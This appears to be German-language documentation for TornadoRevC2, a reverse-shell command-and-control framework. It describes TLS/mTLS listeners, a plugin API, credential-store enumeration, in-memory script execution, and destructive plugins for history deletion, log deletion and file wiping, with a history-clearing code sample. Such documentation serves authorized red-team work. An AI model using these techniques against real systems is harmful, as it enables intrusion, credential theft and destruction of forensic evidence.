### Listener-Konfiguration

TornadoRevC2 betreibt **drei unabhängige Listener gleichzeitig**, sodass Implants je nach Bedrohungsmodell des Engagements über Klartext, serverauthentifiziertes TLS oder gegenseitig authentifiziertes TLS eine Verbindung herstellen können:

| Listener | Standardport | Flag | Authentifizierung | Zertifikate |
|----------|--------------|------|----------------|--------------|
| TCP      | `4444`       | `-p` | Keine           | Keine |
| TLS      | `8443`       | `-tp` | Serverauthentifiziert | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS     | `9443`       | `-mp` | Gegenseitig (Client-Zertifikat erforderlich) | `mtls_certs/`-Bundle (CA + Server + Client) |

Das Flag `-H` legt die Bind-Adresse fest, die von allen drei Listenern gemeinsam genutzt wird. Alle drei können gleichzeitig aktiviert werden; das Deaktivieren eines Listeners ist derzeit nicht erforderlich — lassen Sie den Port frei oder ungebunden, um ihn zu ignorieren.

**Automatische Zertifikatsgenerierung.** Beim ersten Start erstellt der Handler zwei isolierte Verzeichnisse und richtet das benötigte Material ein:```text
tls_certs/
  server.pem          # self-signed server certificate
  server.key          # server private key

mtls_certs/
  ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
  ca.key              # CA private key
  ca.srl              # OpenSSL serial counter (auto-generated)
  server-mtls.pem     # server cert signed by CA
  server-mtls.key     # server private key
  client.pem          # client cert signed by CA — ship to implant
  client.key          # client private key  — ship to implant

**Gemeinsame Plugins** (`firewall`, `ports`, `browser`, `credstore` und andere) existieren als einzelne vereinheitlichte Module in `shared/`. **Plattformspezifische Plugins** wie `rdp` und `eventlogdel` befinden sich ausschließlich unter `windows/` oder `linux/` und werden nicht in `shared/` dupliziert.

Collectors geben JSON aus, das in Marker-Token (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`) eingebettet ist. Der gemeinsame Runner parst diese Ausgabe, formatiert einen bedienerorientierten Bericht und speichert die Ergebnisse im Sitzungsprotokollverzeichnis.

---

## Anforderungen & Installation

**Handler (Bediener-Maschine):**

- Python 3.7 oder höher
- OpenSSL (für die automatische TLS- und mTLS-Zertifikatsgenerierung)
- Git (optional; erforderlich für den `update`-Bedienerbefehl)
- Keine Python-Pakete von Drittanbietern erforderlich```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py

### 2. Eine Sitzung aufbauen

Stelle eine Reverse Shell aus dem integrierten Katalog (`payloads`) bereit oder verwende dein eigenes Implantat. Beim Verbindungsaufbau weist TornadoRevC2 eine Sitzungs-ID zu und beginnt mit der Protokollierung unter `logs/`.

### 3. Bedienen```bash
status                          # List active sessions
switch 1                        # Attach to session 1
sysinfo 1                       # Collect host metadata
run credstore 1                 # Credential store metadata
run memorymap 1 1234            # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh  # In-memory script execution
update                          # Pull latest from GitHub and restart (Git installs)

**Plattformwerte:** `linux`, `windows`, `unix`. Linux und `unix` werden als kompatibel behandelt – ein für `linux` registriertes Plugin läuft auf beiden. Standard, falls weggelassen: `["linux", "windows", "unix"]`.

**Mehrere Befehle pro Modul:** Eine einzelne Datei kann mehrere Befehle registrieren, indem `@plugin.command` auf mehrere Funktionen angewendet wird. Jeder erhält einen unabhängigen Namen.

### Ausführungslebenszyklus

Wenn ein Operator `run myplugin 1 arg1 arg2` ausführt:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)

if session.is_windows:
    cmd = "whoami /all"
else:
    cmd = "id 2>/dev/null || whoami"

output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
    session.print("Plugin 'whoami' failed — no output from target.", "red")
    session.log_plugin_result("whoami", "", "no output")
    return 1

report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0

**Wann zu verwenden:** Einfache Sonden, Einzeiler-Enumeration, Befehle, die keine strukturierten Berichte benötigen.

**Schlüsselmethode:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.

### Muster 2: Strukturierter Collector (empfohlen)

Verwenden Sie dies für Enumeration-Plugins, die strukturierte Daten auf dem Ziel sammeln und einen formatierten Bericht zurückgeben. Dies ist das Muster, das von allen integrierten Aufklärungs-Plugins (`firewall`, `ports`, `browser`, usw.) verwendet wird.

**Ablauf:**```text
Handler                              Target host
  │                                       │
  ├─ session.log_event("started")         │
  ├─ flush shell buffer                   │
  ├─ resolve platform (unix/windows)      │
  ├─ build collector command/script ─────►│  Linux: inline Python or native shell
  │                                       │  Windows: PowerShell script in-process
  │                                       ├─ invoke native OS commands
  │                                       ├─ assemble result dict
  │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  │◄──────────────────────────────────────┤
  ├─ parse_collector_json(raw)            │
  ├─ formatter(data) → report string      │
  ├─ session.print(report)                │
  └─ session.log_plugin_result(...)       │

**`run_collector_plugin` Parameter:**

| Parameter | Typ | Beschreibung |
|-----------|------|-------------|
| `session` | `SessionContext` | Ziel-Session |
| `plugin_name` | `str` | Name, der in Logs und Fehlermeldungen verwendet wird |
| `unix_builder` | `Callable[[], str]` oder `None` | Gibt den Unix/Linux-Shell-Befehl zurück; `None`, falls nicht verfügbar |
| `win_builder` | `Callable[[], str]` oder `None` | Gibt das PowerShell-Skript zurück; `None`, falls nicht verfügbar |
| `formatter` | `Callable[[dict], str]` | Konvertiert das geparste JSON-Dict in einen Report-String |
| `timeout` | `float` | Maximale Wartezeit in Sekunden auf markierte Ausgabe (Standard 30) |

Übergeben Sie `None` für einen Plattform-Builder, um das Plugin auf diesem Betriebssystem als nicht verfügbar zu markieren (siehe [Plattformspezifische Plugins](#platform-specific-plugins)).

Nach dem Speichern eines externen Plugins:```bash
plugins load processes
plugins info processes
run processes 1

pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)

unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
win_ps = _build_windows_command(pid)

raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
    session.print("Plugin 'memorymap' failed — no response from target.", "red")
    return 1

data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0

**Beispiel für Post-Collector-Verarbeitung** (aus `historydel`):```python
def run(session: SessionContext, args):
    # ... run collector via _run_collector_marked ...
    data = parse_collector_json(raw)

    # Additional in-memory cleanup in the interactive shell
    if session.is_unix:
        session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
    elif session.is_windows:
        session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)

    report = format_historydel_report(data)
    session.print(report, "green" if data.get("cleared") else "yellow")
    return 0

**Richtlinien:**

- Verwende `subprocess.check_output(..., timeout=N)` für jeden externen Befehl.
- Kürze große Listen vor der Ausgabe (begrenze auf 50–80 Einträge).
- Behandle fehlende Tools tolerant – lasse Abschnitte leer, anstatt einen Fehler auszulösen.
- Vermeide das Einbetten von Marker-Strings in die Ausgabe; das `history`-Plugin entfernt aus diesem Grund `__T_PLUGIN_*__` aus erfasstem Text.
- Halte Collectors kompakt, um unter dem Inline-Größenlimit zu bleiben und `/tmp`-Staging zu vermeiden.

### Windows-Collectors

Windows-Collectors sind PowerShell-Skript-Strings, die von `_build_windows_command()` zurückgegeben werden.

**Struktur:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _build_windows_command():
    return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
  summary = @{{ count = 0 }}
  items = @()
}}
try {{
  Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
    $result.items += @{{ name = $_.Name; state = $_.State }}
  }}
  $result.summary.count = $result.items.Count
}} catch {{
  $result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""

### JSON-Payload-Konventionen

Collectors sollten ein JSON-serialisierbares Dict zurückgeben. Der Runner und die Formatter erwarten eine konsistente Schlüsselverwendung:

| Schlüssel | Typ | Zweck |
|-----|------|---------|
| `summary` | `dict` | Übergeordnete Zählungen und Statistiken; wird zuerst von `format_generic_report()` gerendert |
| `error` | `str` | **Harter Fehler** — Runner gibt Fehler aus und liefert Exit-Code 1 zurück |
| `traceback` | `str` | Optional; wird als Detail protokolliert, wenn `error` gesetzt ist |
| `reason` | `str` | **Weicher Fehler** — mit benutzerdefinierten Formattern verwenden (z. B. Zwischenablage nicht verfügbar) |
| `ok` | `bool` | Erfolgs-Flag für operative Plugins (Screenshot, Zwischenablage) |
| Listen von `dict` | `list` | Werden von `format_generic_report()` als Tabellen gerendert |
| Listen von `str` | `list` | Werden als Aufzählungslisten gerendert |
| Verschachteltes `dict` | `dict` | Wird als beschriftete Abschnitte gerendert |

**Graceful Degradation:** Verwenden Sie für mehrteilige Enumerationen separate Dict-Schlüssel pro Abschnitt und fangen Sie Ausnahmen lokal ab. Setzen Sie kein `error` auf oberster Ebene, es sei denn, der gesamte Collector ist fehlgeschlagen — Teilergebnisse sind vorzuziehen.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty

Wiederverwendbare Hilfsfunktionen in `plugins/shared/common.py`:

| Funktion | Zweck |
|----------|---------|
| `format_generic_report(data, title='Results')` | Standard-Tabellen-/Abschnittsrenderer |
| `format_section(title, fields, width=22)` | Schlüssel-Wert-Abschnitt |
| `format_list_section(title, items, empty='(none)')` | Aufzählungsliste |
| `format_table_section(title, rows, columns)` | Dict-Zeilen als Spalten |
| `format_firewall_report`, `format_memorymap_report`, etc. | Plugin-spezifische Formatierer |

### Plattformspezifische Plugins

**Nur Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
    return run_collector_plugin(
        session, "rdp",
        None,                    # no Linux builder
        build_command,
        format_generic_report,
        timeout=35.0,
    )

**Plattformübergreifend mit getrennten Buildern:**

Einige gemeinsame Plugins delegieren an plattformspezifische Builder-Module (z. B. importiert `virtualization` aus `linux/virtualization.py` und `windows/virtualization.py`). Der `@plugin.command`-Einstiegspunkt bleibt in `shared/`; Builder-Module unter `linux/` oder `windows/` enthalten keinen Decorator und werden nicht als unabhängige Plugins registriert.

### Externe Plugins

Externe Plugins ermöglichen es dir, TornadoRevC2 zu erweitern, ohne das Repository zu verändern.

**Einrichtung:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py

# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins

**Externe vs. integrierte Lebenszyklusverwaltung:**

| Aktion | Integriertes Plugin | Externes Plugin |
|--------|-----------------|-----------------|
| `plugins unload` | Soft-deaktiviert (Modul bleibt importiert) | Vollständig entladen und deregistriert |
| `plugins reload` | Importiert Modul neu, löscht veraltete Befehlsregistrierungen | Entfernt aus `sys.modules`, importiert von Festplatte neu |
| Start | Automatisch geladen | Bei Bedarf geladen |

Externe Module werden als `tornado_ext_plugin_<name>` importiert, um Namensraumkollisionen zu vermeiden.

### SessionContext API

Jeder Handler erhält einen `SessionContext`, der den Handler und den Client-Socket umschließt:

**Metadaten-Eigenschaften:**

| Eigenschaft | Typ | Beschreibung |
|----------|------|-------------|
| `session_id` | `str` | Zugewiesene Sitzungskennung |
| `platform` | `str` | `unix`, `windows` oder `unknown` |
| `is_windows` / `is_unix` | `bool` | Plattform-Komfortflags |
| `sysinfo` | `dict` | Zwischengespeicherte Host-Informationen aus der `sysinfo`-Sammlung |
| `identity` | `dict` | Sitzungsidentitäts-/Fingerabdruck-Metadaten |
| `addr` | `tuple` | Remote-Adresse |
| `tls` | `bool` | Ob die Sitzung TLS verwendet |
| `name` | `str` | Vom Operator zugewiesener Anzeigename |
| `fingerprint` | `str` | Stabiler Host-Fingerabdruck |
| `logger` | `SessionLogger` | Pro-Sitzung Log-Schreiber (kann `None` sein) |
| `colors` | `dict` | Konsolen-Farbcodes |
| `socket` | socket | Roher Client-Socket (fortgeschrittene Nutzung) |

**Ausführungsmethoden:**

| Methode | Beschreibung |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | Befehl senden, auf Ausgabe warten, String zurückgeben |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | Ausgabe mit Leerlauferkennung streamen; nützlich für lang laufende Befehle |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | Plattformgerechten Befehl ausführen und markierte Nutzlast extrahieren |
| `get_cwd()` | Remote-Arbeitsverzeichnis zurückgeben |
| `collect_sysinfo(mode='stealth')` | Host-Informationssammlung auslösen |

**Transfermethoden:**

| Methode | Beschreibung |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | Datei zum Ziel hochladen |
| `download(remote_path, local_path, resume=False)` | Datei vom Ziel herunterladen |
| `verify_remote(remote_path)` | Remote-Dateigröße und SHA-256 verifizieren |

**Protokollierung und Ausgabe:**

| Methode | Beschreibung |
|--------|-------------|
| `print(text, color=None)` | Auf Operator-Konsole mit optionaler Farbe ausgeben (`red`, `green`, `yellow`, `cyan`) |
| `log_event(message)` | Zeitgestempeltes Ereignis an `session.log` anhängen |
| `log_command(cmd, output)` | Befehl und Ausgabe in `session.log` protokollieren |
| `log_plugin_result(name, report, detail='')` | Bericht in `logs/<session>/plugins/<name>_<timestamp>.log` schreiben |

### Fehlerbehandlung & Rückgabecodes

| Rückgabe | Bedeutung | Handler-Verhalten |
|--------|---------|------------------|
| `0` | Erfolg | Keine Warnung angezeigt |
| `1` (oder ein beliebiger Wert ungleich Null) | Fehler | Gelbe Warnung: `Plugin 'name' returned code N` |
| Unbehandelte Ausnahme | Fehler | Rote Fehlermeldung; im Sitzungsprotokoll protokolliert |

**Collector-Fehlermodi** (behandelt von `run_collector_plugin`):

| Bedingung | Verhalten |
|-----------|----------|
| Timeout / keine Marker in der Ausgabe | Exit 1, "no response" protokollieren |
| Ausgabe kein gültiges JSON | Exit 1, Rohausgabe (gekürzt) als Detail protokollieren |
| `data["error"]` vorhanden | Exit 1, Fehler und Traceback ausgeben |
| Teilweise Abschnittsfehler | Sollte **nicht** `error` auf oberster Ebene setzen; Abschnitt leer lassen |

**Soft-Fehler** (operative Plugins): Verwenden Sie `reason` oder `ok: false` und behandeln Sie diese in einem benutzerdefinierten Formatierer oder benutzerdefinierten Handler, anstatt sich auf die harte `error`-Prüfung des Runners zu verlassen.

### Best Practices

1. **Bevorzugen Sie native OS-Befehle** gegenüber hochgeladenen Tools – dies entspricht dem dependency-light Design des Frameworks.
2. **Schreiben Sie keine Dateien auf dem Ziel** für die Enumeration; geben Sie Daten über den Shell-Kanal zurück. Operative Plugins (wiper, historydel) sind Ausnahmen mit klarem Zweck.
3. **Degradieren Sie gracefully** – testen Sie jedes Backend unabhängig; leere Abschnitte sind besser als totaler Fehlschlag.
4. **Begrenzen Sie die Ausgabegröße** – kürzen Sie Listen auf 50–80 Einträge; kürzen Sie lange Strings auf 200–500 Zeichen.
5. **Setzen Sie realistische Timeouts** – schnelle Probes: 15–30s; umfassende Enumeration: 45–75s.
6. **Protokollieren Sie konsistent** – rufen Sie `session.log_event()` am Anfang auf, `session.log_plugin_result()` bei Abschluss, `session.log_command()` für den Transcript-Export.
7. **Validieren Sie Argumente früh** – geben Sie 1 mit einer Usage-Nachricht zurück, bevor Sie etwas an das Ziel senden.
8. **Testen Sie von beiden Konsolen** – Haupt-Handler (`run plugin <ID>`) und angehängte Sitzung (`switch` dann `run plugin`).
9. **Verwenden Sie `plugins reload`** während der Entwicklung, um Änderungen ohne Neustart des Handlers zu übernehmen.
10. **Bereinigen Sie sensible Marker** aus gesammelter Ausgabe, wenn Ihr Plugin beliebige Dateiinhalte liest.

### Referenzimplementierungen

| Plugin | Datei | Muster | Hinweise |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | Plattformübergreifender Collector | Multi-Backend graceful degradation |
| `ports` | `plugins/shared/ports.py` | Plattformübergreifender Collector | Native `ss` / `Get-NetTCPConnection` |
| `history` | `plugins/shared/history.py` | Plattformübergreifender Collector | Linux Python + Windows PowerShell Builder |
| `memorymap` | `plugins/shared/memorymap.py` | Benutzerdefinierter Handler | PID-Argument, dynamischer Builder |
| `screenshot` | `plugins/shared/screenshot.py` | Benutzerdefinierter Handler | Base64 in JSON; PNG-Speicherung auf Operator-Seite |
| `clipboard` | `plugins/shared/clipboard.py` | Benutzerdefinierter Handler | Soft-Fehler über `reason`-Feld |
| `historydel` | `plugins/shared/historydel.py` | Benutzerdefinierter Handler | Destruktiv; Post-Collector Shell-Bereinigung |
| `wiper` | `plugins/shared/wiper.py` | Benutzerdefinierter Handler | Destruktiv; Pfad-Argumentvalidierung |
| `services` | `plugins/windows/services.py` | Nur-Windows-Collector | Minimaler Einstiegspunkt |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Nur-Windows-Collector | Destruktiv; Fehlerberichterstattung pro Log |
| `rdp` | `plugins/windows/rdp.py` | Nur-Windows-Collector | Registry- und Firewall-Enumeration |
| `virtualization` | `plugins/shared/virtualization.py` | Gemeinsamer Einstieg + geteilte Builder | Importiert `linux/` und `windows/` Builder |
| `secrets` | `plugins/linux/secrets.py` | Nur-Linux-Collector | Plattformbeschränkte Auflistung |

Für neue Enumerations-Plugins beginnen Sie mit `run_collector_plugin` in `plugins/shared/runner.py` und kopieren Sie das Layout von `firewall.py` oder `ports.py`. Für Plugins mit Argumenten oder Seiteneffekten lesen Sie `memorymap.py` oder `wiper.py`.

---

## Sitzungsprotokollierung

Jede Sitzung schreibt in ein isoliertes Verzeichnis unter `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
  session.log           Operator commands and console output
  sysinfo.json          Host information snapshot
  transfers/            Upload and download event logs
  executions/           In-memory payload execution metadata
  plugins/              Plugin reports and collector output
      quickenum_20260812_054812.log
      firewall_20260812_055130.log
      screenshot_20260812_055412.png

---

## TLS- & mTLS-Konfiguration

TornadoRevC2 betreibt drei isolierte Listener, jeder mit eigener Zertifikatsquelle. Alles unter `tls_certs/` und `mtls_certs/` wird beim ersten Start automatisch generiert und niemals überschrieben.

| Listener | Port | Client-Authentifizierung | Zertifikate |
|----------|------|-------------|--------------|
| TCP | `4444` | keine | — |
| TLS | `8443` | nur Server | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | gegenseitig (Client-Zertifikat erforderlich) | `mtls_certs/`-Bundle |

### TLS

Automatisch generiert als selbstsigniertes Paar (`CN=localhost`, RSA-2048, 3650 Tage).

Um Ihr eigenes bereitzustellen:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
  -c tls_certs/server.pem -k tls_certs/server.key

### Eine laufende Sitzung auf mTLS upgraden

Bestehende Sitzungen über einfaches TCP oder Server-Auth-TLS können auf den mTLS-Listener verschoben werden, ohne den Handler neu zu starten. Das `upgrade_mtls`-Plugin lädt `client.pem`, `client.key` und `ca.pem` auf das Ziel hoch, startet eine Hintergrund-Shell, die das Client-Zertifikat präsentiert, und entfernt (standardmäßig) das Bundle von der Festplatte, sobald die neue Sitzung steht.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually

# From inside an attached session (switch 1)
run upgrade_mtls